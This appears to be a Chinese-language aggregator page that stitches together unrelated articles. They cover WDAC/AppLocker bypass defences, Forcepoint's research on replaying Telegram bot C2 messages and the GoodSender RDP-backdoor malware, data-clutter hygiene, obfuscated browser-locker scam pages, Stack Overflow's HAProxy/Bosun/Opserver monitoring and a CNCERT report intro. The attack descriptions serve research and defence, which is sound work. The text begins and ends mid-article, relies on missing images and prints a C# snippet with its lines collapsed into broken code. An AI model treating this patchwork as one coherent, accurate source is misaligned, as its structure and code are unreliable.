19.png

5、在WDAC中,日志位于:事件查看器 -> 应用程序和服务日志 -> Microsoft -> Windows -> 代码完整性 -> 可选。下面是阻止可执行文件生成的错误日志示例(事件ID 3077):

20.png

6、测试您执行的策略和规则。通过持续实施测试计划或红蓝对抗,可以发现并解决潜在问题。有一些工具可以帮助实现,请查看Chris Spehn的GreatSCT,以生成Payload。同时,也可以尝试Oddvar Moe针对AppLocker特定测试用例的PowerAL

7、及时更新补丁。如果您使用的是WDAC或者第三方AWL解决方案,请确保该软件是最新的,从而解决可能导致保护控制缺陷的漏洞。

六、总结

这篇文章非常长,感谢各位读者能耐心阅读。在最后,我首先介绍一些与本文相关的优秀资源:

James Forshaw关于COM内部工作原理的精彩讲解:

James Forshaw编写的DotNettToJScript工具,用于创建将.NET程序集加载到内存中的Jscript Payload的工具:

Dominic Chell使用SharpShooter v1.0进行FreeStyling,展示了使用XSL转换作为Payload生成的攻击向量。

关注Twitter上的#DailyScriptlet,了解关于COM Scriptlets的开源威胁情报。

Brian在匹兹堡的WinAWL上发布了一些关于WDAC的优秀文章。

其次,要感谢研究人员:Oddvar Moe、Philip Tsukerman、Casey Smith、Matt Nelson、James Forshaw、Adam Chester、Chris Spehn和Matt Graeber。感谢MSRC工作人员Nate和James。

最后,该漏洞相关的时间表如下:

2018年4月 – 与MSRC取得联系,提交关于XSL COM对象CLM绕过的漏洞信息

2018年5月 – 与MSRC就问题细节和复现方法进行沟通

2018年6月 – MSRC确认Microsoft.XMLDOM.1.0 WDAC绕过漏洞

2018年8月 – MSRC表示将延期发出漏洞补丁

2018年10月 – 该漏洞已修复(CVE-2018-8492)

Forcepoint Security Labs一直在关注威胁行为者用来规避现有保护措施的方法。通过其中一项调查,我们研究了Telegram 加密消息服务作为恶意软件的命令和控制(C2)基础架构的用法。

使用Telegram作为C2通道的恶意软件通常使用Telegram Bot API进行通信。在调查一个恶意软件的过程中,我们发现Telegram处理通过其Bot API发送的消息的方式存在重大缺陷。

基于Bot API的工作原理,之前所有的bot消息都可被能够拦截和解密HTTPS流量的攻击者重放。实际上,这可以为对手提供目标bot发送或接收的所有消息的完整历史记录。通常包括常规用户之间的消息,因为bot经常与他们共享群组聊天。

一、获取Telegram C2消息的访问权限

Telegram使用其内部MTProto加密来保护常规用户之间的消息,因为它(理所当然地)认为TLS本身对于加密的消息传递应用程序来说不够安全。

不幸的是,这并不适用于使用Telegram Bot API的程序,因为以这种方式发送的消息仅受HTTPS层保护。更糟糕的是,任何能够获得在每条消息中传输一些关键信息的对手不仅可以窥探传输中的消息,还可以恢复目标bot的完整消息传递历史记录。

其中一个关键信息是bot API令牌,它嵌入所有消息(以及任何使用Telegram Bot API的二进制文件中,无论恶意或合法)。因此,对目标HTTPS连接上执行MiTM的对手来说,获取此数据轻而易举。

这个难题的另一个关键部分是随机生成的Telegram chat_id。在单个聊天的情况下,这是用户自己的唯一ID,而群组聊天在创建时生成自己的chat_id。但是,此信息也会在任一Bot API请求中发送,因为bot需要知道要向哪个用户或组聊天发送信息。

配备这些信息,可以从Telegram Bot API调用许多方法。在我们的例子中,forwardMessage()方法特别有用,因为它允许给定的bot有权将来自任何聊天的任何消息转发给任意Telegram用户。要做到这一点,我们需要API令牌和'源'chat_id(从bo t先前发送的消息中提取,或者在恶意软件中从自身提取)以及'目标'chat_id(这是我们自己的用户ID),最后是我们想要转发的消息ID。

对我们来说,幸运的是,message_id从0逐渐增长,因此一个简单的Python脚本可以转发所有已发送到bot当前所属的Telegram聊天的消息。

一个特定的恶意软件被证明是一个很好的案例研究,说明为什么这是危险的,威胁行为者显然没有在他们的测试/开发和操作环境之间进行必要的隔离。这意味着我们可以跟踪他们创建和部署恶意软件的第一步(请参阅下面的活动时间表),以及与受害者和测试机器之间当前的通信形式。

在一个非常糟糕的操作安全性显示中,这些测试机器中的一个是攻击者自己的,包括了他的IP地址和许多其他敏感的个人信息。

二、GoodSender

有问题的恶意软件是一个相当简单的.NET恶意软件,运营者称之为'GoodSender'并使用Telegram作为C2。它以相当简单的方式运行:一旦释放恶意软件,它就会创建一个新的管理员用户并启用远程桌面,并确保它不被防火墙阻止。新管理员用户的用户名是固定的,但密码是随机生成的。

所有这些信息(受害者的用户名、密码和IP地址)都通过Telegram网络发送给操作人员,从而使操作人员可以通过RDP访问受害者的计算机。

图1  –  GoodSender中构建Telegram Bot URL的代码

图2  –  Telegram Bot的配置文件屏幕

三、活动时间表,威胁行为者和受害者

该攻击者最初使用Telegram bot来处理他正在开发的另一个恶意软件。这个早期的恶意软件被称为“RTLBot”,并且在几个月的时间里(在放弃开发之前)添加了许多其他功能,转而支持上述恶意软件“GoodSender”。

下面的时间线和所包含的屏幕截图的详细信息是从恶意软件的历史C2通信中获取到的,并演示了使用所描述的方法从Telegram频道获取历史消息的能力。

· 2018年2月4日 – Telegram bot上线。

· 2018年2月18日 – 攻击者开始将Telegram C2功能纳入RTLBot,并将开发转移到Telegram上。

· 2018年2月20日 – 攻击者将他的基础设施从个人计算机转移到AWS(亚马逊网络服务)上。

· 2018年4月1日 –  GoodSender处于活动状态并发送其第一个受害者信息。

· 2018年6月6日 – 攻击者租用另一个VPS作为Telegram 代理。

· 2018年7月5日 –  GoodSender发送其最后的真实受害者信息。

· 2018年9月29日 –  GoodSender发送其最后一次测试受害者信息。

2018年11月23日,攻击者将相同的bot API密钥和C2频道合并到一个工具中,该工具从Instagram帐户收集图像。鉴于元素经常命名为测试(例如下面的图3中的testbot),在将API密钥和通道更改为“生产”之前,该通道可用于测试机器人。

图3  – 显然是作者开发机器的截图,由bot上传到Telegram频道

图4  – 作者开发环境的另一个屏幕截图,其中显示了2018年6月6日首次观察到的新代理

虽然我们没有发现攻击者必须用来释放恶意软件的攻击媒介的明确答案,但是一些线索表明他使用EternalBlue漏洞将恶意软件释放在未打补丁的机器上。

· 他大量使用名为“EternalBlues”的免费EternalBlue漏洞扫描程序;

· 他有一份扫描的美国和越南的IP清单,这些IP易受EternalBlue攻击,然后用来感染一些受害者。

根据我们的遥测技术,GoodSender已经感染了至少120名受害者,主要位于美国。

图5  – 基于GeoIP信息的GoodSender受害者的红热/蓝冷热图

图6  – 基于GeoIP信息的受害者条形图

四、总结

在我们的案例研究中,这种用于重放消息的特定技术被用于发现威胁行为者,但它很可能被用于使用Telegram Bot API的合法应用程序。

尽管Telegram被宣传为“安全消息传递应用程序”并且在正常聊天期间使用比TLS更高的理论保证的加密方案,但是bot使用传统的TLS来加密传输中的数据。因此,具备解密TLS能力的攻击者,可利用MitM获得对bot令牌以及chat_id的访问,这不仅导致当前通信的完全沦陷,而且还影响bot参与的之前所有通信。

因此,Forcepoint Security Labs建议所有用户避免使用Telegram bot以及避免使用bot的频道和组。

Forcepoint已通知Telegram此漏洞。

在以下攻击阶段,我们的案例研究中的Forcepoint客户受到GoodSender恶意软件的保护:

· 第5阶段(Dropper文件) – 防止下载恶意文件。

IOCs (GoodSender)

943eceb00ea52948c30deab1d5824ffcf2fd1cec

SpringClean-TA.jpg

在保护你的网络安全方面,你都做了哪些努力呢?通常我们会设置一个强大且唯一的密码、利用安装的安全产品来检测网络钓鱼邮件,又或者是为每个帐户设置双因素身份验证。不论怎么说,我们相信你在目前复杂的网络环境下一定会采取许多主动性的防御政策。不过往往做事的时候很容易“灯下黑”,今天我们就要强调一下清理数字垃圾对网络安全保护的重要意义,而且想必其他防御手段,清理数字垃圾也是很容易实现的。

出于各种目的,大多数人都有好几个电子邮件帐户,不过一般常用的也就那么一两,另外很多用户的下载记录几乎包含了所有的下载信息, 至于各种U盘和硬盘相信每个人都有几个,而其中存储的信息可并不一定都是我们时常需要的……,所有的这些被遗忘的信息可能会在某个时候成为黑客的攻击的“宝藏”,比如账户的被窃、U盘和硬盘的丢失及被感染、你的网络服务商被黑客攻击而造成的数据泄露,所以尽量把无用的信息尽快处理掉。

国家网络安全联盟执行总监迈克尔•凯泽(Michael Kaiser)说:

单个的数据的泄露并不会对用户产生影响,但如果黑客能通过足够多的垃圾数据,来分析出你的网络行为,但就不能忽视了。

下面,我们就和大家分享一些清理垃圾信息的技巧。

首先,销毁你的物理设备。比如,那些不用的CD盘,统统都销毁掉,不用的或淘汰的U盘和硬盘也要进行销毁,除此之外,不玩的游戏机和不用的智能家居产品都销毁掉。不过,在销毁之前一定要把你想要的信息进行备份,而且把所有信息都删除。

其次,处理不需要的文档。对各种无用的文档进行清理,除了一般的设备本身生成的无用文件外还要对其它包含个人信息的文档进行清理,比如信用卡对账单或医疗表格的PDF。其实这也是一个很好的管理你敏感信息的机会。

总之,清理垃圾信息的要点就在于减少你的不必要数据处于不安全的状态下,如果你的一份关于朋友的x射线医疗数据被黑客得到了,那对方的完整的姓名,出生年月和社保号码都会被获取。

凯泽说:

当我们谈论安全性时,我们经常谈论的是如何保护自己的信息,但在数字世界中,实际上我们经常还会拥有关于其他人的信息,所以我们要很负责的把它们安全的存储起来,如果不用则尽快删除。

现在,随着深入应用程序,互联网服务和云端的深入,最重要的帐户信息就是我们的电子邮件,它可以说是我们在线生活的中央数据中心。这样电子邮件帐户就成为了黑客的宝藏,因为邮件里除了你本人以外,还包含了其他人(朋友,家人,同事)的信息。所以,删除你不再需要的电子邮件,或者将受到黑客威胁的服务商的信息导出的安全的地方,然后删掉,例如ahem,Yahoo。

美国计算机应急准备小组 (US-CERT)提醒用户,在你保存的信息中,银行或信用卡账户信息、报税表、医疗或其他个人资料、个人照片、敏感的企业信息等都可能是黑客希望得到数据。

最后,寻找你不再使用的应用程序,并关闭它们。如果你的一些不用的社交账号,还留有你的一些信息,同样在清理这些账号之前,把这些信息也删除掉。

总之,在你删除应用程序之前,请清理和关闭你的不用帐户,以便尽可能将数据的残余量降到最低。因为清理和关闭你的不用帐户,可以从根本上切断后台公司对你的监控,比如,只把程序卸载了并不一定意味着后台公司会删除你的使用数据,还有一种情况就是,你虽然没有登录你的应用程序,但该程序会一直跟踪你,比如你好几个月都不用的跑步软件,可能会在未登录和经过你允许的情况下对你的日常活动,甚至心率进行信息收集,如果这些信息被黑客得到将是非常可怕的。

希望你在阅读完本文后,能够认识到数字垃圾对网络防护的重要性。

Browlocks是垃圾邮件活动技术支持的主要驱动力,使用恶意广告和浏览器locker技术来欺骗用户。事实上效果非常明显,因为很多用户相信自己的电脑被黑了,并拨打了伪造的微软支持电话寻求帮助。

犯罪分子在不断尝试新的技术来抵制现代浏览器和绕过检测。最近,研究人员发现一个evil cursor可以防止用户关闭假的告警消息,假的病毒下载会暗示用户电脑已经被感染。此时,浏览器locker页面用编码技术来绕过基于签名的检测。

编码和其他混淆类型

使用base64或十六进制编码来隐藏恶意脚本是一种非常古老的技术。恶意软件依赖这类技术来使恶意代码检测对分析师和扫描器来说都变得非常困难。

技术支持垃圾邮件发送者在浏览器locker模板中也使用了混淆技术。犯罪分子使用下面的十六进制编码伪装了虚假的告警消息:

但浏览器可以读取和解码十六进制编码的内容,并展示给用户以下虚假告警消息:

*************************************************
RDN/YahLover.worm!055BCCAC9FEC Infection
*************************************************

并不是所有的技术支持垃圾邮件browlock都使用混淆技术,但是使用混淆技术也逐渐变成隐藏代码的常用方式。但还没有browlock页完全编码的情况还没有见过。

Soup to nuts编码

研究人员最近在Reddit上发现一个browlock模板进行了完全编码技术,其源代码非常简单和有效:

从代码中可以提取出两个JavaScript库,Zepto.js和base64.min.js。Zepto.js是适用于现代浏览器的最小JavaScript库,含有大量适配jQuery的API。base64.min.js可以获取Base64编码的内容并在传输过程中解码。但数据是从下面的GET请求加载的,而不是主页:

毫无疑问,犯罪分子又一次和网络防御者玩起了猫鼠游戏。犯罪分子甚至创建了一个假的Google Analytics tracker ID: gtag(‘config’, ‘UA-8888888-x’),并使用了看起来非常向Google的域名maps-google[.]us。

对终端用户来说,不管出现了什么样的告警消息,第一是要保持平静,在拨打垃圾邮件发送者给出的热线前再三检查核对。Browlock并不会对计算机造成损害,而且有许多方式可以关闭。一些复杂的还需要用任务管理器来杀掉相关进程,因此研究人员也希望浏览器厂商能够关注和解决这类的问题。

有哪些数据类型会被监控

监控数据通常由几种类型的数据组成:

· 日志数据:丰富、详细的文本和数据;

· 可以用于遥测的标签数据;

· 运行状况检查数据;

· 来自应用程序的性能数据;

日志数据

日志信息几乎可以记录攻击者需要的任何东西,包括漏洞信息、通信信息、电子邮件信息等。不过要将这些信息进行输出,没有一定的技术和付出是不可能的。首先,你需要为日志记录本身分配字符串,比如内存和垃圾收集(适用于.NET和其他一些平台)。当你在某处进行日志记录时,磁盘空间必定要运行。如果我们遍历网络(在某种程度上是在本地),这也意味着带宽和延迟。

日志数据会记录所有的事情。如果技术能力够硬且付出一定的成本,你就能详细查看这些日志,挖掘更多内容。所以聪明的人,会通过构建日志记录,记录他们认为需要的内容。但这个构建过程并不容易,比如当出现问题时,你会发现有时新添加的功能没有正确的日志记录。

至于日志具体能记录什么?这取决于系统。在本文的示例中,我们使用StackExchange.Exceptional执行记录操作,这是我维护的一个开源.NET的数据库的中央异常日志查看器。这些异常日志会记录到SQL Server,然后通过应用程序或通过Opserver(Stack Overflow 的开源监控产品)查看。

对于像Redis,Elasticsearch和SQL Server这样的系统,我们只需使用内置的日志记录和日志回旋(Log Rotation)机制登录到本地磁盘。日志回旋(Log Rotation) 可以设定日志的回旋是基于文件大小还是基于时间间隔。当满足其中的一个条件时,当前访问日志被关闭,新的访问日志被创建。对于其他基于SNMP的系统,如network gear,我们可以将所有这些日志转发到Logstash集群,Logstash 是开源的服务器端数据处理管道,能够同时从多个来源采集数据,转换数据,然后将数据发送到您最喜欢的 “存储库” 中。不过用Logstash之前,可以先用Kibana(一个开源的分析和可视化平台)查询。 将日志转发到Logstash集群后,Bosun会在发出警报时,询问其中的很多细节和趋势,我们将在下文中深入探讨。Bosun 是一个新型的监控和告警系统,由Stack Exchange团队打造,使用golang编写,支持定义复杂的告警规则,支持OpenTSDB、Graphite、Logstash-Elasticsearch 等数据源。

用HAProxy构建日志监控

HAProxy默认情况下并没有启用日志功能,或者说已经启用了但需配合日志软件方能有效。

在本文的示例中,我们还记录了通过HAProxy(负载均衡器)的公共HTTP请求,不过其中只记录了顶级域名,没有cookie,没有表单数据等。

在这些请求中,我们将使用某些特定的性能数字将标头发送到HAProxy, HAProxy会捕获这些标头并将这些标头剥离到我们转发的syslog行中,以便最后进行SQL处理。这些标头包括:

· SQL Count(查询);

· Redis Count(查询命中次数);

· HTTP Count(发送请求);

· Tag Engine Count (查询);

· Elasticsearch Count(查询命中);

利用这些查询,我们可以轻松查询和比较历史数据。它在我们从未真正想过的方式中也很有用。例如,我们将看到一个请求和运行的SQL查询计数,它将告诉我们用户沿着代码路径走了多远。或者当SQL连接池堆积起来时,我们可以查看特定时间内来自特定服务器的所有请求,以查看导致该争用的原因。我们所做的就是跟踪n个服务的通讯次数和时间。这个方法非常简单,但也非常有效。

监控syslog并将其保存为SQL的过程称为流量处理服务(Traffic Processing Service),因为我们计划在一天内发送报告。

除了这些标头之外,默认的HAProxy日志行格式还有一些其他计时请求:

TR:客户端向我们发送请求所用的时间(在keepalive运行时相当无用);

Tw:排队等待的时间;

Tc:等待连接到web服务器的时间;

Tr:web服务器完全呈现响应所花费的时间;

另一个简单但重要的例子是,Tr和AspNetDurationMs报头(一个计时器在请求的开始和结束时开始和结束)之间的增量,会告诉我们在操作系统中花费了多少时间,在IIS中等待线程等。

运行状况检查

在任何负载分配设置(例如一起工作的服务器集群或一组服务器前面的负载均衡器)中,运行状况检查是一种查看成员是否符合角色或任务的方法。例如,在Elasticsearch中,如果一个节点宕机后,当节点恢复运行时,再次执行此操作。在Web层中,负载均衡器将停止向下行节点发送流量,并继续在运行流量节点之间进行操作。

在HAProxy中,我们使用了内置的运行状况检查和警告。截至2018年末,在我们编写这篇文章时,仍用的是ASP.NET MVC5。一个重要的细节是我们的错误页面是一个重定向的,例如出现/questions的时候,会定向到/error?aspxerrorpath=/questions。应该说这是旧.NET基础结构的运行细节,但是当与HAProxy结合使用时,就成了问题。例如,如果你有:

server ny-web01 10.x.x.1:80 check

然后它将接受200-399个HTTP状态码响应(它只会发出一个HEAD请求),如果是400或500个HTTP状态码响应,则不会触发运行,但我们的302重定向不会发生此情况。发生重定向后,浏览器将获得5xx状态代码,但HAProxy实际上不会这样做。你可以在同一后端使用http-check expect 200(或任何状态代码或范围或正则表达式)来更改此设置,这意味着我们的运行检查终端只允许200。

不同的应用程序因运行检查端点而异,但对于stackoverflow.com,由于它是主页,它会检查我们可能无法检查的事情,全面检查很重要。我的意思是,如果用户点击同一页面,它会全面检查吗?,如果我们进行了运行检查,数据库和一些缓存和理智检查了我们知道需要联机的大事,那就太棒了,就这样了有总比没有好。如果我们对数据库和缓存进行了运行检查,检查我们需要的大数据。但是,假设我们在代码中放入了一个漏洞,此时一个看起来并不重要的缓存都没有重新被正确加载,此时所有用户都会呈现在顶栏。

我们还在数据库内进行了运行检查,最简单的表现就是心跳(Heartbeat)进程的检查。例如,StackExchange.Redis用于定期检查与Redis的套接字连接是否处于运行状态。我们会使用相同的方法来查看套接字是否仍然打开,并在Stack Overflow(一个与程序相关的IT技术问答网站)上利用WebSocket实现数据的实时推送。这是一种没有在这里大量使用的监控,但它确实被使用了。

其他运行检查还包括标签引擎服务器,我们可以通过HAProxy来平衡负载(这会增加一个跳转),但是让每个Web层服务器直接了解每个标签服务器对我们来说都是更好的选择。我们可以监控的信息如下:

1.选择如何分配负载;

2.更容易测试新构建;

3.获取每服务器操作计数指标和性能数据;

我们可以通过一个简单的“ping”命令进行运行状况检查,例如它最后一次在数据库更新的时间。

所以,这可以保证对你的运行状态的绝对监控。Microsoft .NET团队一直致力于开发一个在ASP.NET Core中进行运行检查的统一方法。

不过,对运行状态的监控与运行的频率有关,比如每100毫秒的运行监控与每秒、5秒或每分钟的监控都不一样。

Stack Overflow就是一个实际的例子:当你将HAProxy后端服务器从MAINT(维护模式)切换到ENABLE时,后端会正常运行,直到检查运行状态发现问题时,才会停止。但是,当你从DRAIN切换到ENABLE时,后端会先停止运行,必须通过3次状态检查才能获得流量。当我们处理线程池增长限制和缓存试图启动时(比如我们的Redis连接),由于运行状况检查,我们可能会遇到非常讨厌的线程池饥饿(thread pool starvation)问题。这个影响是巨大的。因为在进行模式切换时,我们需要大约8-20秒才能完全准备好在新构建的Web服务器上提供流量。

使用httpUnit构建监控系统

HttpUnit是基于JUnit构建的一个开源测试框架,专门针对Web应用的测试,解决使用JUnit框架无法对远程Web内容进行测试的弊端。

HttpUnit通过模拟浏览器的行为,包括提交表单(form)、处理页面框架(frames)、基本的http验证、cookies及页面跳转(redirects)处理等。通过HttpUnit提供的功能,用户可以方便的和服务器端进行信息的交互,将返回的网页内容作为普通文本、XML Dom对象或者是作为链接、页面框架、图像、表单、表格等的集合进行处理,然后使用JUnit框架进行测试,还可以导向一个新的页面,然后进行新页面的处理,这个功能使你可以处理一组在一个操作链中的页面。总的来说,httpUnit是一个相当简单易用的工具,我们用它来检查端点的状态,看看此URL是否返回我们期望的状态代码? 

通过不断检查并在失败时提供警报,我们可以快速识别问题,尤其是那些来自基础架构的无效配置更改的问题。在应用用户负载之前,我们还可以轻松测试新的配置或基础架构,防火墙规则等。

使用Fastly构建监控系统

Fastly作为美国的CDN厂商,近年来不断在边缘云领域深度布局。你可以将Fastly视为负载均衡器时,它类似于HAProxy后端,内置了运行检查。

监控指标

监控指标可以是时间序列数据,这意味其中你有一个名称、一个时间戳、一个值,在本文的示例中,有一些标签。例如,单个条目看起来如下所示:

· 名称:dotnet.memory.gc_collections

· 时间:2018-01-01 18:30:00(UTC)

· 值:129389139

· 标签:服务器:NY-WEB01,应用程序:StackExchange-Network

条目中的值也可以采用几种形式,但一般情况下是计数器。计数器会报告一个不断增加的值(通常在重新启动时重置为0)。通过计算值随时间的差值,你可以找到窗口中的Delta值。例如,如果我们在10分钟之前有129389139个进程,我们就知道在那十分钟内该服务器上的进程运行了100个Gen 0垃圾收集通道。另一个例子是报告一个绝对时间点的值,例如“此GPU当前为87°”,那么我们用什么来处理这些监控到的数据问题呢?

警报信息的处理

我们如何处理所有这些数据呢? Bosun是我们内部的主要警报源,它由OpenTSDB支持存储。它是一个基于HBase构建的时间序列数据库,具有很高的可扩展性。bosun是常用的报警系统,通过配置metrics(items)图可以得到某一个参数在指定时间内的变化,比如设为10s,每隔10s就会监控这个数据并画图,依据这个图可以实现对某些参数的监控,以此作为报警的依据。 

在.NET中,我们使用我们维护的另一个开源NuGet库BosunReporter发送监控指标。它看起来像如下这样:

// Set it up once globallyvar collector = new MetricsCollector(new BosunOptions(ex => HandleException(ex)){
	MetricsNamePrefix = "MyApp",
	BosunUrl = "https://bosun.mydomain.com",
	PropertyToTagName = NameTransformers.CamelToLowerSnakeCase,
	DefaultTags = new Dictionary<string, string>
		{ {"host", NameTransformers.Sanitize(Environment.MachineName.ToLower())} }});// Whenever you want a metric, create one! This should be likely be static somewhere// Arguments: metric name, unit name, descriptionprivate static searchCounter = collector.CreateMetric<Counter>("web.search.count", "searches", "Searches against /search");// ...and whenever the event happens, increment the countersearchCounter.Increment();

我们还可以在Bosun的数据计数器中,添加更多标签,例如,计数器在哪个服务器上运行(通过主机标签),我们可以在IIS中添加应用程序池,或者用户点击的Q&A网站等。

许多其他系统都可以发送指标,scollector为Redis、Windows、Linux等提供了大量的内置功能。我们用于关键监控的另一个外部示例是一个小型Go服务,它可以监控Fastly日志的实时流。有时Fastly可能会返回503,错误的原因也许是被切断的套接字,或者是路由问题,或者是坏的证书。无论原因是什么,我们都希望在这些请求失败并且用户感觉到失败时系统会发出警报。这个小服务只会监控日志流,不过它从每个条目中解析一些信息,并将它们汇总后发送给Bosun。

我真正喜欢Bosun的一个关键特性是,它能够监控历史警报。这有助于我们了解警报具体是何时触发的,这是一个很棒的监控过程。说实话,很多监控来自经验教训,警报经常是在事情发生之后,才将出错的信息添加到其中。

3.1.png

3.2.png

你可以看到在11月18日有一个很低的系统值,低到足以触发安全警告。

我们还通过以下几种方式监控(通过Bosun)错误:

1.通过每个应用程序总结我们的异常错误日志;

2.通过Fastly和HAProxy;

如果我们在这两种应用程序上都看到了高错误率,那么一两分钟后,带有详细信息的消息就会出现在聊天中。由于它们是基于聚合计数的,因此不能立即执行。

5.png

另一种传递警报的方式是电子邮件,Bosun就有这个功能。电子邮件可能只是一个简单的提醒。比方说,磁盘空间正在减少,或者CPU处于高位运行,而电子邮件中的一个简单图表就能说明很多问题。要想得到更复杂的警报,我们可以为电子邮件本身添加故障和详细信息。你可以得到更好的信息来处理(或者甚至决定忽略)一封电子邮件的提醒,而无需进一步深入。这是本文的示例中,NY-TSDB03的CPU突发事件的邮件示例,其中包括了最近的10个事件。

6.png

7.png

8.png

Grafana

Grafana是一个开源的度量分析和可视化套件,它最常用于可视化基础设施和应用程序分析的时间序列数据。

如果监控数据,你看不到,那么这些数据有什么用呢?所以时间序列数据的图形化可视化是一种很好的方式。这就是我们为什么使用Grafana的地方,它是一个优秀的开源工具,为此我们提供了一个Bosun插件,这样它就可以成为一个数据源。 (从技术上讲,你可以直接使用OpenTSDB)。注意:我们对Grafana的使用过程,会使用图片的方式来解释。

以下是一个状态仪表板,显示了Fastly的运作方式。因为我们的插件会支持他们的DDoS保护和更快的内容发送,所以当前显示的状态也是我们的当前状态。

9.png

这是一个随机的仪表盘,它是按地域划分的,你可以看到当人们醒着的时候,世界各地的网络流量分布情况。

客户端计时

关于上面提到的所有内容,一个重要的注意事项是它是服务器端。记住,渲染网页的速度并不重要,这一点至关重要。

几年前,当我们需要的部分首次在浏览器中可用时,我构建了一个客户机计时管道。这个概念很简单:使用web浏览器中可用的导航计时API并记录它。要了解其工作原理,请访问teststackoverflow.com

12.png

13.png

MiniProfiler

有时,你要捕获的数据比上述方案更具体和详细。MiniProfiler是一款针对.NET, Ruby, Go and Node.js的性能分析的轻量级程序。可以对一个页面本身,及该页面通过直接引用、Ajax、Iframe形式访问的其它页面进行监控,监控内容包括数据库内容,并可以显示数据库访问的SQL(支持EF、EF CodeFirst等 )。并且以很友好的方式展现在页面上。MiniProfiler的一个特别有用的功能是它与数据库框架的集成。除了.NET原生的DbConnection类,MiniProfiler还内置了对实体框架(Entity Framework)以及LINQ to SQL、RavenDb和MongoDB的支持。任何执行的Step都会包括当时查询的次数和所花费的时间。为了检测常见的错误,如N+1反模式,profiler将检测仅有参数值存在差异的多个查询。

15.png

默认情况下,你可以看到这个数字,但是你可以将其展开以查看树形式中哪些内容需要花费多长时间。在那里链接的命令也是可见的,因此你可以Fastly查看运行的SQL或Elastic查询,或发出的HTTP调用,或者获取的Redis缓存等。

16.png

由于MiniProfiler的运行成本很低,我们可以在每个请求上运行它。为此,我们在Redis中保留了每MVC路由的配置文件样本。例如,我们在给定时间保留任何路由的100个最慢的配置文件。这样我们就可以看到用户可能会遇到的问题,我们可以看到Bosun中的路由速度很慢,HAProxy日志中的点击率下降了,还有需要深入研究的配置文件快照。

17.png

使用Opserver构建日志监控系统

那么,什么是Opserver?Opserver是Stack Overflow的开源监控产品,stackoverflow网站是基于asp.net开发的,它是一个基于网络的仪表板和监控工具。大约5年前,我们遇到了一个问题,即SQL Server AlwaysOn可用性组在SSMS仪表板上显示为绿色(由主服务器提供支持),但是副本已经好几天没有看到新数据了。这是一个监控极度失效的例子。发生的情况是HADR线程池耗尽,并停止更新处于“all good”状态的视图。这样的设计不一定是有缺陷的,但是当缓存/存储一个事物的状态时,它需要有一个时间戳。如果尚未在<选择阈值>中更新,则为红色警报。无论如何,进入Opserver。它做的第一件事是监控每个SQL节点而不是信任主节点。

从那时起,我在基于Web的Fastly视图中为我们想要的其他系统添加了监控功能。

Opserver:主要仪表板

登陆仪表板是一个服务器列表,显示了内容的概述。用户可以按名称、服务标签、IP地址、VM主机等进行搜索。你还可以深入查看每个节点上CPU、内存和网络的历史记录图表。

19.png

在每个节点内看起来像这样:

20.png

如果使用Bosun并运行Dell服务器,则我们添加了如下硬件元数据。

21.png

Opserver:SQL Server

在SQL仪表板中,我们可以看到服务器状态以及可用性组的工作方式。我们可以看到每个节点在任何给定时间有多少活动,以及哪个节点是主节点(蓝色部分)。底部是AlwaysOn可用性组,我们可以看到每个可用性组的主服务器是谁,复制的进度落后了多少,以及备份了多少队列。如果事情变糟并且副本不运行,则会出现更多指示符,例如哪些数据库存在问题以及T-logs中涉及的所有驱动器的主数据库上的可用磁盘空间(因为如果复制仍然停止,它们将开始增长):

22.png

还有一个顶级的全部作业视图,用于Fastly监控和启用/禁用:

23.png

在每个实例视图中,我们可以看到有关服务器、缓存等的统计信息,我们发现它们随着时间的推移而变得相关。

24.png

对于每个实例,我们还报告顶级查询(基于计划缓存,而不是查询存储),active-right – now查询(基于sp_whoisactive)、连接和数据库信息。

25.png

26.png

如果你想深入到一个顶部的查询,它看起来是这样的。

28.png

在数据库视图中,可以查看表、索引、视图、存储过程、存储使用情况等。

29.png

30.png

31.png

32.png

33.png

Opserver:Redis

对于Redis,我们希望查看主要副本和副本的拓扑链以及每个实例的总体状态:

34.png

35.png

请注意,你可以终止客户端连接、获取运行配置、更改服务器拓扑以及分析每个数据库中的数据(可通过Regexes配置)。最后一个是KEYS和DEBUG OBJECT扫描,因此我们在副本节点上运行它或允许在主服务器上强制运行它(为了安全起见)。分析看起来像这样:

SO-Monitoring-Opserver-Redis-Analyze.png

Opserver:Elasticsearch

对于Elasticsearch,我们通常希望看到集群视图中的内容,因为这就是它的行为方式。下面没有看到的是,当索引变为黄色或红色时。当这种情况发生时,仪表板的新增的部分将显示出有问题的碎片、它们正在做什么(初始化、重新定位等),并且计数将出现在每个集群中,汇总有多少碎片处于哪种状态。

1.png

2.png

Opserver:异常

Opserver中的异常是基于StackExchange.Exceptional。在这种情况下,我们特别关注Exceptional的SQL Server存储提供程序。Opserver是许多应用程序共享单个数据库和表布局的一种方式,并允许开发人员在一个地方查看其异常。

40.png

此处的顶级视图可以只是应用程序(默认),也可以按组配置。在上面的例子中,我们按团队配置应用程序组,这样团队就可以标记或快速单击他们负责的异常。在每个例外页面中,详细信息如下所示。

360截图16171107134336.jpg

还记录了详细信息,例如请求标头(带有安全过滤器,因此我们不会记录身份验证cookie),查询参数以及添加到异常的任何其他自定义数据。

Opserver:HAProxy

HAProxy部分非常简单,我们只是简单地呈现当前的HAProxy状态并允许对其进行控制。这是主仪表板的样子:

41.png

对于每个后台组,特定后端服务器,整个服务器或整个层,它还允许一些控制。如果我们需要将其关闭以进行紧急维护等,可以让后端服务器停止运作,或者让整个后端关闭,或者让web服务器退出所有后端。

42.png

近日,CNCERT发布了《开源软件代码安全缺陷分析报告——物联网软件专题》。本期报告选取全球20款知名物联网软件进行源代码安全缺陷分析,结合缺陷分析工具和人工审计的结果,评估项目的安全性。360代码卫士团队为本期报告提供了技术支持。

以下是报告全文:

一、概述

随着软件技术飞速发展,开源软件已在全球范围内得到了广泛应用。数据显示,99%的组织在其IT系统中使用了开源软件。开源软件的代码一旦存在安全问题,必将造成广泛、严重的影响。为了解开源软件的安全情况,CNCERT持续对广泛使用的知名开源软件进行源代码安全缺陷分析,并发布季度安全缺陷分析报告。

自2005年国际电信联盟(ITU)正式提出“物联网(IoT)”这一概念以来,物联网在全球范围内迅速获得认可。随着物联网技术的发展创新,大量智能家居和可穿戴设备进入了人们的生活,“万物互联”成为全球网络未来发展的重要方向。根据Gartner报告预测,2020年全球物联网设备数量将高达260亿个。然而,由于安全标准滞后,以及智能设备制造商缺乏安全意识和投入,物联网已经埋下极大隐患,为个人隐私、企业信息安全甚至国家关键基础设施带来严重的安全威胁。

